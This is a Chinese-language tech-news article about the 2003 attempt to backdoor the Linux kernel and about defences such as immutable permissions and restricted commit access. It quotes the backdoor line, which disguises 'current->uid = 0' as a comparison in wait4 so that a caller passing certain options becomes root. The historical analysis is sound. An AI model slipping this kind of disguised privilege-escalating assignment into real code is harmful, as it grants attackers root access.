2天时间,聊今年最热的 Agent、上下文工程、AI 产品创新等话题。2025 年最后一场~ 了解详情
写点什么

回顾 Linux 内核后门

  • 2013-12-29
  • 本文字数:1138 字

    阅读完需:约 4 分钟

由于最近大众对美国国家安全局(NAS)的关注,人们的注意力转移到后门程序上。对于不熟悉该术语的人们,后门是一种有意在操作系统或软件中植入的漏洞,允许未授权的用户访问系统。在 2003 年曾经有人试图向 Linux 内核植入后门,虽然被发现了,但是这表明不论看上去多普通的变更都会引入漏洞,以及源码控制管理的重要性。

Corbet 在 LVN.Net 的文章中首次提到以下这段代码,它把自己伪装成类似 wait4 函数的参数校验。

复制代码
if((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

正常情况下没有任何影响,但是如果调用程序故意传入非法值,if 表达式的第二部分就会执行。该部分会将程序的用户 ID(current->uid)设为 0, 在 Linux 中就是 root 用户。

一眼看上去这就像是一个简单的代码错误,开发人员经常疏忽将’==‘写成’=’。虽然你认为函数 wait4 不应该与用户 ID 有任何关系,但是很明显这是故意为为之。

Corbet 描述了该后门是如何被发现的

CVS 库中的每个变更都会包含反向链接信息,表明与 BitKeeper 中的变更相同。有问题的变更缺少这样的信息,所以很快就能辨认出来。 试图通过这种方式进行变更是很可疑的,至少可以这么说,所以我们非常关注变更请求到底是什么。

攻击者曾经再次向 BitKeeper 库的 CVS 克隆库中植入后门。他继续说道

CVS 代码库是从 BitKeeper 生成的,但是补丁程序进入 BitKeeper 代码库并不经过它。所以有问题的代码只会影响基于 CVS 代码库工作的用户。发行商使用的内核不是来自该库,这次事故也说明,问题代码能够驻留很长一段时间。

大家想象一下,如果有人向代码库发起这样的攻击,增加几行看上去很好的代码,实际上植入了一个后门,而代码库没有 Linux 内核团队的控制和严格检查,你如何保护自己不受攻击。

一种方式是在应用程序中创建自己的“内核”,只有这段代码可以改变用户的角色和权限。其他的代码只是获取到用户权限的只读视图,这样他们就不能轻易得获取 root 权限。

在这样的模型中,"current->uid=0"这样的代码不会编译。如果任何人想实施攻击,或是直接修改应用程序的安全模块,但是我们会密切关注这样的修改,或是使用反射的伎俩,但是反射代码肯定比简单的赋值操作更容易被察觉到。

如果语言层面支持,一种更好的方式是使用户权限完全不可变。这种方式能够更大程度限制攻击发生的地方,只能是创建权限的地方。

这些措施应该配合对源码控制服务器的限制进行实施。一是限制尽可能少的人向主分支中提交代码,而不是过于开放;二是安全敏感代码默认应该完全锁定,只能根据问题具体情况授予编辑权限,实施的具体方法依赖此人是否使用分布式或集中式的源码控制以及具体的产品。

如果没有在变更代码成为产品之前进行审计,最终这些技术都会失效,这些措施只能减少审计疏漏问题发生的可能性。

2013-12-29 22:134958
用户头像

发布了 28 篇内容, 共 12.4 次阅读, 收获喜欢 0 次。

关注

评论

发布
暂无评论
发现更多内容

文件传输协议的五种安全文件传输替代方案

镭速

软件开发,如何同时保证效率和质量?

飞算JavaAI开发助手

Java Agent场景性能测试分析优化经验分享

华为云开发者联盟

开发 华为云 java 华为云开发者联盟 企业号 3 月 PK 榜

Spring Boot是如何内嵌Tomcat的?原理剖析

Java tomcat Spring Boot

基于Python+uiautomation的windowsGUI自动化测试概述

Python 自动化测试 unittest WindowsGUI UIaotumaiton

该如何正确的中断一个线程的执行

华为云开发者联盟

开发 华为云 华为云开发者联盟 企业号 3 月 PK 榜

PHP中出现Cannot modify header information - headers already sent

ModStart

SVN vs Git 不是技术之争,而是生态之争

极狐GitLab

git svn DevOps 版本控制 极狐GitLab

1.基于Label studio的训练数据标注指南:信息抽取(实体关系抽取)、文本分类等

汀丶人工智能

数据标注 关系抽取 labelstudio 实体抽取

百度点石隐私计算平台与FATE开源框架实现互联互通

百度安全

人工智能 开源 联邦学习 开发

吹爆Alibaba自研的Spring全能笔记,建议人手一份!

小小怪下士

Java spring springmvc springboot

Centos 环境搭建

流火

Linux centos Centos 7

软件测试/测试开发 | 测试平台开发-前端开发之数据展示与分析

测试人

软件测试 自动化测试 测试开发 测试平台

火山引擎DataTester:A/B实验如何实现人群智能化定向?

字节跳动数据平台

大数据 AB testing实战

还在头疼你的API,送你一个保姆级的API设计管理平台

华为云开发者联盟

云计算 开发 华为云 华为云开发者联盟 企业号 3 月 PK 榜

国内“谁”能实现chatgpt,对MOSS、ChatYuan给出关键技术简评,一文带你深入了解宏观技术路线| 社区征文

汀丶人工智能

ChatGPT

BSN-DDC基础网络详解(四):资金账户充值

BSN研习社

【2.24-3.3】写作社区优秀技术博文一览

InfoQ写作社区官方

热门活动 优质创作周报

坚如磐石:TiDB 基于时间点的恢复(PiTR)特性优化之路丨6.5 新特性解析

PingCAP

TiDB

主题别名(Topic Alias)-MQTT 5.0新特性

EMQ映云科技

物联网 IoT mqtt 企业号 3 月 PK 榜 主题别名

体验ChatGPT后,陷入沉思...

Openlab_cosmoplat

开源 行业趋势 ChatGPT

AI开发实践丨客流分析之未佩戴口罩识别

华为云开发者联盟

人工智能 华为云 华为云开发者联盟 企业号 3 月 PK 榜

如何通过C#和VB.NET压缩PDF文档

Geek_249eec

C# .net PDF VB.NET

国内“谁”能实现chatgpt,一文带你深入了解宏观技术路线| 社区征文

汀丶人工智能

ChatGPT

政企专属的IM即时通讯平台,促进团队安全沟通与协作

BeeWorks

极狐GitLab DevSecOps 为企业许可证安全合规保驾护航

极狐GitLab

许可证 DevSecOps 极狐GitLab 安全左移 安全合规

从ChatGPT的技术发展角度解析未来智能化的发展方向

加入高科技仿生人

人工智能 AI 低代码 智能化 ChatGPT

如何在服务端渲染fabric.js

ModStart

博睿数据入选中国信通院《高质量数字化转型产品及服务全景图》

博睿数据

可观测性 智能运维 博睿数据 信通院 高质量发展

回顾Linux内核后门_安全_Jonathan Allen_InfoQ精选文章